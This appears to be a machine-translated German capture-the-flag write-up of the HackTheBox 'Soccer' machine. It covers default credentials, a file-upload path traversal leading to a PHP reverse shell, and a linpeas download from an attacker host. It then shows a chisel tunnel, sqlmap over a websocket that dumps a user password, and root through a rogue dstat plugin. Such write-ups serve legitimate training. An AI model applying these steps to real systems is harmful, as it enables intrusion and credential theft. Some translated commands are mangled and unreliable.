HTB – Fußballbericht
Insgesamt eine interessante Box mit einigen fummeligen Stellen – als einfach eingestuft, aber tendenziell zu einer mittleren Box, nichtsdestotrotz ein herausragendes Debüt von sau123.
Überblick:
1. Eine interessante Website mit einem versteckten Anmeldeformular mit Standard-Credentials.
2. Eine Directory Traversal-Schwachstelle, die zu einer Reverse-Shell führt.
3. Eine Websocket-Schwachstelle, die zu sqli und offengelegten Creds führt.
4. Zugriff auf eine ungewöhnliche Binärdatei erlaubt priv esc!
Beginnen wir wie immer mit einer nmap:
ERSTES ENUM & WEB SVR STANDHALTUNG
Beginnen wir mit einer Webaufzählung.
Verwendete eine Reihe von Scannern, Dirbuster war das einzige Tool, das /tiny/ enthüllte:
Nach einigem Suchen fand ich den GitHub für Tiny File Manager:
https://github.com/prasathmani/tinyfilemanager
Die Standard-Credentials lauten wie folgt:
admin: admin@123
user:12345
Es sieht so aus, als ob diese Version von Tiny anfällig für CVE-2021–45010 ist:
(Eine Sicherheitsanfälligkeit durch Pfaddurchquerung in der Datei-Upload-Funktion in tinyfilemanager.php in Tiny File Manager vor 2.4.7 ermöglicht entfernten Angreifern (mit gültigen Benutzerkonten) das Hochladen bösartiger Dateien PHP-Dateien in das Webroot, was zur Codeausführung führt.)
Nachdem ich die Funktionalität der Website erkundet hatte, konnte ich mit einer Reverse-PHP-Webshell und nc ein Low-Level-SVC-Konto erstellen:
https://github.com/tutorial0/WebShell/blob/master/Php/php-reverse-shell.php
Lass uns eine bessere Hülle bekommen:export TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'
Wir können user.txt nicht kategorisieren, versuchen wir es mit einem anderen priv esc..
(Zusätzliche potenzielle Vektoren:
Ausführen von nginx – anfällig für:
NGINX bis 1.18.0 ermöglicht einen HTTP-Anforderungsschmuggelangriff, der zu Cache-Poisoning, Credential-Hijacking oder Sicherheitsumgehung führen kann.)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
ESKALATION VOM SVC ZUM SPIELER
Die anfängliche Aufzählung hob einige interessante Ports hervor, die Dienste auf dem lokalen Host ausführen:
Aber kommen wir darauf zurück und beginnen damit, linpeas auf die Maschine zu bekommen und
auszuführen: attackbox: python3 -m http.server
client: wgethttp://10.10.X.X:8000/linpeas.sh
chmod +x linpeas.sh
Es scheint, dass die Maschine anfällig ist für (ich konnte beides nicht zum Laufen bringen):
CVE-2021–3560 – Polkit-Exploit (Wettlaufbedingung)
CVE-2022–2588 – Unsachgemäße Operation auf der verknüpften Liste von route4_filter
Sonst springt nichts heraus, also versuchen wir, diese lokalen Dienste zu erkunden:
In den nginx-Konfigurationsdateien können wir Folgendes sehen:
3000 =soc-player.soccer.htb (fügen wir dies unserer Hostdatei hinzu)
Navigieren Sie, http://soc-player.soccer.htb/signupum ein Konto zu erstellen, und melden Sie sich dann an.
Nach der Anmeldung wird Ihnen die Seite angezeigt http://soc-player.soccer.htb/check. Interessant..
Es gibt einen Ticketprüfmechanismus, in dem Sie nach einem Ticket suchen können. Nachdem ich die HTML-Quelle überprüft hatte, stellte ich fest, dass diese Funktion eine Verbindung zu einem Websocket herstellt:
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
Das Python-Skript im Beitrag kann als Proxy verwendet werden, der sqlmap-Anforderungen an localhost:8081 an den Websocket-Port 9091 des Zielhosts weiterleitet. Damit unser Setup funktioniert, müssen wir einige Parameter im Skript ändern:
Ich werde Meißel verwenden (https://github.com/jpillora/chisel), um 3000 an meinen lokalen Host weiterzuleiten:
Verwenden Sie erneut - http.server, um Chisel auf dem Gerät zu erhalten, und dann:
Kali: Chisel-Server – Port 1337 – Reverse
-Host: ./chisel-Client – max-retry-count=1 10.10.XX:1337 R:3000:localhost:3000
Wir haben jetzt eine sichere getunnelte Verbindung und können sqlmap ausführen:
Und wir bekommen die Ausgabe:
[email protected]
Player****************
Wir können jetzt in den Player ssh.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
ESKALATION VOM SPIELER ZUM ROOT
Nach der Aufzählung haben wir festgestellt, dass der Spieler in der Lage ist, die doas-Binärdatei auszuführen.
Die doas.config befindet sich in /usr/local/etc, ist aber nicht beschreibbar, gibt jedoch an, dass der Player ausführen kann: /usr/bin/dstat
Lassen Sie uns ein bisschen mehr darüber herausfinden, was das tut!
Lassen Sie uns auflisten, was wir damit machen können:
/usr/bin/dstat -h
Es sieht so aus, als würde es Plug-ins akzeptieren, gibt es nützliche, um root zu werden?
Nein, aber vielleicht können wir unsere eigenen schreiben.
find / -writable -type d 2>/dev/null
Sieht so aus, als könnten wir nach /usr/local/share/dstat schreiben
Erstellen Sie dort eine Plugin-Datei mit dem Namen dstat_play.py:
import
subprocess #Launch a new bash shell
subprocess.run([“bash”])
und führen Sie es aus:
doas -u root /usr/bin/dstat dstat_play.py
Wir sind jetzt root!

![Was ist überhaupt eine verknüpfte Liste? [Teil 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































